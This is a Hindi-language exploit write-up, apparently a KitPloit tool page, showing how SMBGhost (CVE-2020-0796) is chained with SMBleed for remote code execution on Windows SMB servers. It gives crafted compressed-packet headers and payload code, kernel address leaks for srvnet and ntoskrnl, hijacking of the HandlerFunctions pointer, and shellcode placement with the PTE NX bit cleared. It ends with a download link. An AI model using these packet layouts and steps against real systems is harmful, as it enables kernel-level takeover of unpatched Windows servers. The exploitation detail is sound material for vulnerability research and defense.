जैसा कि हम देख सकते हैं, OriginalCompressedSegmentSize में ऋणात्मक मान है और OriginalCompressedSegmentSize + Offset का योग = 0x10100। हालांकि, क्लाइंट द्वारा सर्वर को भेजे गए पैकेट का आकार 0x10100 से बड़ा है। इस प्रकार, डीकंप्रेसन से पहले सर्वर द्वारा बनाया गया प्रारंभिक Alloc, डीकंप्रेसन के बाद डेटा वाले Alloc से बड़ा होगा। यहाँ OriginalCompressedSegmentSize का मान ऋणात्मक सेट किया गया है ताकि OriginalCompressedSegmentSize और Offset का योग 0x10100 के बराबर हो, और संपीड़ित डेटा की स्थिति को प्रभावित न करे, क्योंकि यह Offset पर निर्भर करता है। और 0x38, SRVNET_BUFFER_HDR संरचना में Mdl1 पॉइंटर का ऑफसेट है।

इस प्रकार, सर्वर क्लाइंट का डेटा रखने वाला एक Alloc इस प्रकार बनाएगा:

इसके बाद, यह उपरोक्त चरणों के अनुसार, 0x10100 के User buffer आकार वाला एक Alloc आवंटित करने के लिए SrvNetAllocateBuffer फ़ंक्शन को कॉल करेगा, जो Alloc B है:

डीकंप्रेसन करें, निश्चित रूप से केवल वैध डेटा का एक भाग ही डीकंप्रेस किया जा सकता है:

उपरोक्त चित्रों के आधार पर, यह देखा जा सकता है कि Alloc B के SRVNET_BUFFER_HDR में दो Mdl पॉइंटर्स का क्षेत्र वांछित मान में संशोधित किया गया है।

उपरोक्त के समान, इस बार हम भेजे गए पैकेट के ऑफसेट को समायोजित करके फ्लैग को 3 पर सेट करेंगे:``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = -0x10
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x10110 Data = ‘A’ * 0x10110 + compress(‘\x00\x03’) + ‘\xff’*0x10
root@kitploit:~
अंत में यह इस प्रकार होगा:

![](https://assets.kitploit.com/production/public/readmes/24502/467ea07dff7cfaca7062ed50d1605e40586c412f40bcadaf01aa37d862efd3bd.png)

जब Alloc B मुक्त होता है, तो निम्नलिखित कोड खंड चलाए जाएंगे:``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL

जैसा कि ऊपर दिए गए कोड में pMdl1->MappedSystemVa (ऑफसेट 0x18) pMdl1->MappedSystemVa + 0x50 = 0xffffd3843654de68 + 0x18 + 0x50 = 0xffffd3843654ded0 यह मान रखेगा।

Alloc B के मुक्त होने से पहले SRVNET_RECV यह होगा:

उपरोक्त कोड की 4 पंक्तियाँ चलाने के बाद:

Alloc a के मुक्त होने से पहले:

उपरोक्त कोड को पूरी तरह चलाने के बाद:

और Alloc A में वे बाइट्स जिन्हें हमें पढ़ने की आवश्यकता है, वे नीचे दिए गए चित्र में नीले बाइट्स हैं:

इस प्रकार, हमें केवल ऊपर दी गई एक-एक बाइट लीक करने की तकनीक का उपयोग करके AcceptSocket + 0x50 का पता प्राप्त करने की आवश्यकता है। जैसा कि इस भाग में है, यह 0xffffd3843ea02418 होगा → AcceptSocket: 0xffffd3843ea023c8

इसी तरह, हम AcceptSocket→ srvnet!SrvNetWskConnDispatch का पता लीक करने के लिए कार्य करेंगे।

हमें सब कुछ इस प्रकार तैयार करने की आवश्यकता है:

Alloc B के मुक्त होने के बाद, सब कुछ इस प्रकार बदल जाएगा:

AcceptSocket-> srvnet!SrvNetWskConnDispatch + 50 का पता प्राप्त करने के लिए जिन बाइट्स की हमें आवश्यकता है, वे Alloc A में स्थित होंगी, वे बाइट्स नीचे दिए गए चित्र में नीले रंग से चिह्नित हैं:

इस प्रकार, AcceptSocket-> srvnet!SrvNetWskConnDispatch, 0xfffff80060e9d170 होगा, मान लीजिए हम srvnet.sys मॉड्यूल में इसका ऑफसेट जानते हैं, तो हम srvnet बेस का पता निकाल सकेंगे।

इस भाग में srvnet बेस है: 0xFFFFF80060E70000, srvnet!SrvNetWskConnDispatch का ऑफसेट 0x2d170 है।

इसके बाद, हम CVE-2020-0796 में Write-what-where primitive तकनीक का उपयोग करके मेमोरी के एक क्षेत्र में मनमाने ढंग से लिखेंगे।

सबसे पहले, हम ntoskrnl बेस एड्रेस को लीक करने का तरीका ढूंढेंगे, srvnet द्वारा आयातित IoSizeofWorkItem फ़ंक्शन के पते को लीक करके। ऐसा करने के लिए, पहले हम निम्नलिखित दो UNICODE_STRING संरचनाएँ बनाएँगे:``` c // Destination unicode string desLength = 6; desMaximumLength = 6; desBuffer = allocation_pool_object_ptr + 0x1650 + 0x20 + 2;

// Source unicode string srcLength = 6; srcMaximumLength = 6; srcBuffer = srvnet_base_ptr + OFFSETS['srvnet!imp_IoSizeofWorkItem'];

root@kitploit:~
`allocation_pool_object_ptr` के साथ जो लीक हुए आवंटन पूल का पता है और `OFFSETS['srvnet!imp_IoSizeofWorkItem']` srvnet द्वारा आयातित IoSizeofWorkItem फ़ंक्शन का ऑफसेट है।

ये दो UNICODE_STRING संरचनाएँ CVE-2020-0796 में पाई गई Write-what-where तकनीक के माध्यम से `allocation_pool_object_ptr + 0x1650` पर संग्रहीत की जाएंगी।
पहले हम गंतव्य यूनिकोड स्ट्रिंग को `allocation_pool_object_ptr + 0x1650` पर संग्रहीत करेंगे, फिर हम इस प्रकार एक SMB पैकेट बनाते हैं:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0xffffffff
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x22
Data:
sentinel = os.urandom(2)  // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer)  // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)

ऊपर, डेटा में os.urandom(2) फ़ंक्शन द्वारा उत्पन्न सेंटिनल है, जो 2 बाइट लंबा होगा, और ये 2 बाइट हमें यह जानने में मदद करेंगे कि हमने जो पता लीक किया है वह वास्तव में वह पता है जिसे हमें लीक करने की आवश्यकता है या नहीं, लीक प्रक्रिया सफल होने के बाद इसकी तुलना करके।

यदि क्लाइंट से भेजे गए पैकेट का कुल आकार 0x1100 से अधिक है (यह संपीड़न से पहले यादृच्छिक डेटा पर निर्भर करेगा), तो निश्चित रूप से allocation_pool_object_ptr का उपयोग SMB सर्वर पर इसे संग्रहीत करने के लिए किया जाएगा:

इसके बाद, SMB सर्वर डीकंप्रेसन के लिए एक मेमोरी क्षेत्र आवंटित करने के लिए SrvNetAllocateBuffer फ़ंक्शन को कॉल करेगा। लेकिन चूँकि OriginalCompressedSegmentSize और Offset का योग 0x21 है, यह केवल 0x1100 आकार के उपयोगकर्ता बफर के साथ एक क्षेत्र आवंटित करता है:

हीप ओवरफ्लो त्रुटि होती है (जैसा कि CVE-2020-0796 में वर्णित है) और SMB सर्वर द्वारा डीकंप्रेस करने के बाद (असम्पीडित डेटा की प्रतिलिपि होने से पहले) होगा:

इस प्रकार, UserBufferPtr पॉइंटर allocation_pool_object_ptr + 0x1650 की ओर इशारा करता है और जब प्रतिलिपि प्रक्रिया होती है, तो allocation_pool_object_ptr:

इसी प्रकार, हम निम्नलिखित पैकेट भेजकर नीचे एक और सेंटिनल सम्मिलित करेंगे:``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = 0xffffffff
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x2 Data: data = sentinel data_to_compress = os.urandom(0x1100 - len(data)) // 0x18 null bytes that override the struct. data_to_compress += b'\x00'*0x18 // Target address. data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650 + 0x28) data = data + compress(data_to_compress)
root@kitploit:~
इस प्रकार, जब SMB सर्वर पैकेट प्राप्त करता है, तो वह संबंधित मेमोरी आवंटित करेगा, इस समय आवंटित मेमोरी `allocation_pool_object_ptr` होती है और इसमें निम्नलिखित डेटा होगा:

![](https://assets.kitploit.com/production/public/readmes/24502/24cc306a702cdb5f575bd1d612ea6b35db87aaf875fd45fa64977e50c61e85ed.png)

डीकंप्रेसन प्रक्रिया के बाद, डेटा इस प्रकार होगा:

![](https://assets.kitploit.com/production/public/readmes/24502/d6442e5a936e1c46ebb9e3a4651e8859dca56c1aa09e9e79ed9155ea105dede2.png)

इस प्रकार हमने दो यूनिकोड स्ट्रिंग और दो सेंटिनल बनाए हैं ताकि हम जिस डेटा को लीक करते हैं उसे सत्यापित किया जा सके।

इसके बाद हम `RtlCopyUnicodeString` फ़ंक्शन को कॉल करेंगे और ऊपर बनाई गई दो यूनिकोड स्ट्रिंग को इसमें पास करेंगे।

`RtlCopyUnicodeString` फ़ंक्शन को कॉल करने के लिए, पहले हम HandlerFunctions पॉइंटर को `RtlCopyUnicodeString` फ़ंक्शन के पते से ओवरराइट करेंगे। यह फ़ंक्शन srvnet मॉड्यूल द्वारा इंपोर्ट किया गया है और इसका ऑफसेट (मेरे मॉड्यूल के अनुसार) 0x32288 है।

इस प्रकार, write-what-where तकनीक के साथ, हम HandlerFunctions में पता 0xFFFFF80060E70000 + 0x32288 - 0x8 लिखेंगे।

पहले हम एक SRVNET_RECV पॉइंटर (0xffffe00f0b593dd8) लीक करेंगे।

![](https://assets.kitploit.com/production/public/readmes/24502/f7c5bde869eb5ba21a0b9dd4e2034417487150592178aa1eb1aef523e246a5c2.png)

हम नीचे पैकेट भेजना जारी रखने के लिए कनेक्शन को सहेजेंगे।

इसके बाद हम write-what-where तकनीक का उपयोग करके RtlCopyUnicodeString पॉइंटर - 0x8 पर लिखेंगे (कारण - 0x8 यह है कि RtlCopyUnicodeString फ़ंक्शन HandlerFunctions में Srv2ReceiveHandler फ़ंक्शन को प्रतिस्थापित कर देगा)।

![](https://assets.kitploit.com/production/public/readmes/24502/a88b44518f26ed6f0958772bdd4bf124c7c2403a525944b060a37cf17309a092.png)

इसके बाद हम ऊपर बनाए गए दो यूनिकोड स्ट्रिंग के दो पॉइंटर को HandlerFunction के दो आर्गुमेंट्स में क्रमशः लिखेंगे।

![](https://assets.kitploit.com/production/public/readmes/24502/691bdb0ce599face8b1f35393db9cc37e1f85a075c4d259a7fb96adee9fb66d2.png)

इस समय, उसी कनेक्शन पर, Srv2ReceiveHandler फ़ंक्शन को RtlCopyUnicodeString द्वारा बदल दिया गया है। इसलिए, जब हम कोई पैकेट भेजते हैं, तो RtlCopyUnicodeString फ़ंक्शन कॉल किया जाएगा और यूनिकोड स्ट्रिंग को कॉपी करेगा।

![](https://assets.kitploit.com/production/public/readmes/24502/2410149b163fd4ebbfb13fa5d2a127cafcfdc82146c33544b0a6cc6905c13d2b.png)

अब हमें 0xffffd38439045670 से 0xffffd3843904567a तक 10 बाइट का पता लीक करना है (जिसमें लीक किए जाने वाले पते के दोनों सिरों पर 2 सेंटिनल शामिल हैं)। फिर जांचें कि लीक किए गए पते के शुरुआत और अंत के 2 बाइट सेंटिनल हैं या नहीं। यदि वे सेंटिनल हैं, तो हमने सही ढंग से लीक किया है (0xfffff8068152c380)।

`nt!IoSizeofWorkItem` (0xfffff8068152c380) का पता लीक करने के बाद, हम ntoskrnl बेस एड्रेस (0xfffff80681400000) प्राप्त करने के लिए इसके ऑफसेट (0x12C380) को घटाएंगे।

ध्यान दें कि विभिन्न विंडोज़ संस्करणों पर प्रत्येक मॉड्यूल फ़ाइल का ऑफसेट अलग-अलग होता है। इसलिए सुनिश्चित करें कि आपके पास लक्ष्य मशीन पर सही मॉड्यूल फ़ाइल है।

इसी प्रकार, ntoskrnl बेस एड्रेस प्राप्त करने के बाद, हमें MiGetPteAddress (0xBA968) और PTE बेस एड्रेस (MiGetPteAddress + 0x13) प्राप्त होगा:

![](https://assets.kitploit.com/production/public/readmes/24502/5c92df61b331c038bd90b2ccb878b7027bdbf6338602aecdda1b49a867eb42b1.png)

अगले चरण में, हम write-what-where तकनीक का उपयोग करके 0xFFFFF78000000800 पर शेलकोड लिखेंगे। फिर नीचे दिए गए सूत्र के माध्यम से pte में शेलकोड के पते की पुनर्गणना करेंगे और NX बिट को साफ़ करेंगे ताकि शेलकोड को निष्पादित किया जा सके:``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base

अंत में, हम allocation_pool_object_ptr + 0x50 + 0x1600 पर शेलकोड का पता लिखेंगे और HandlerFunctions के साथ उस पते को बदलकर और शेलकोड को nt_base_ptr पता पास करके शेलकोड को कॉल करेंगे।

RCE का आनंद लें :))

संदर्भ

  • SMBleedingGhost Writeup: Chaining SMBleed (CVE-2020-1206) with SMBGhost
  • SMBleedingGhost Writeup Part II: Unauthenticated Memory Read – Preparing the Ground for an RCE
  • SMBleedingGhost Writeup Part III: From Remote Read (SMBleed) to RCE
  • Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
  • lznt1.py
  • TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITEWHAT-WHERE VULNERABILITIES IN CREATORS UPDATE
  • VERGILIUS_MDL
  • Exploit Development: Leveraging Page Table Entries for Windows Kernel Exploitation
  • RtlUnicodeStringCopy function
  • UNICODE_STRING structure

DatntSec. Viettel Cyber Security.

टूल डाउनलोड करें
→ Allocation size ↓Logical Processor0x11000x21000x41000x81000x101000x201000x401000x801000x100100
Processor 1📝📝📝📝📝📝📝📝📝
Processor 2📝📝📝📝📝📝📝📝📝
...
Processor n📝📝📝📝📝📝📝📝📝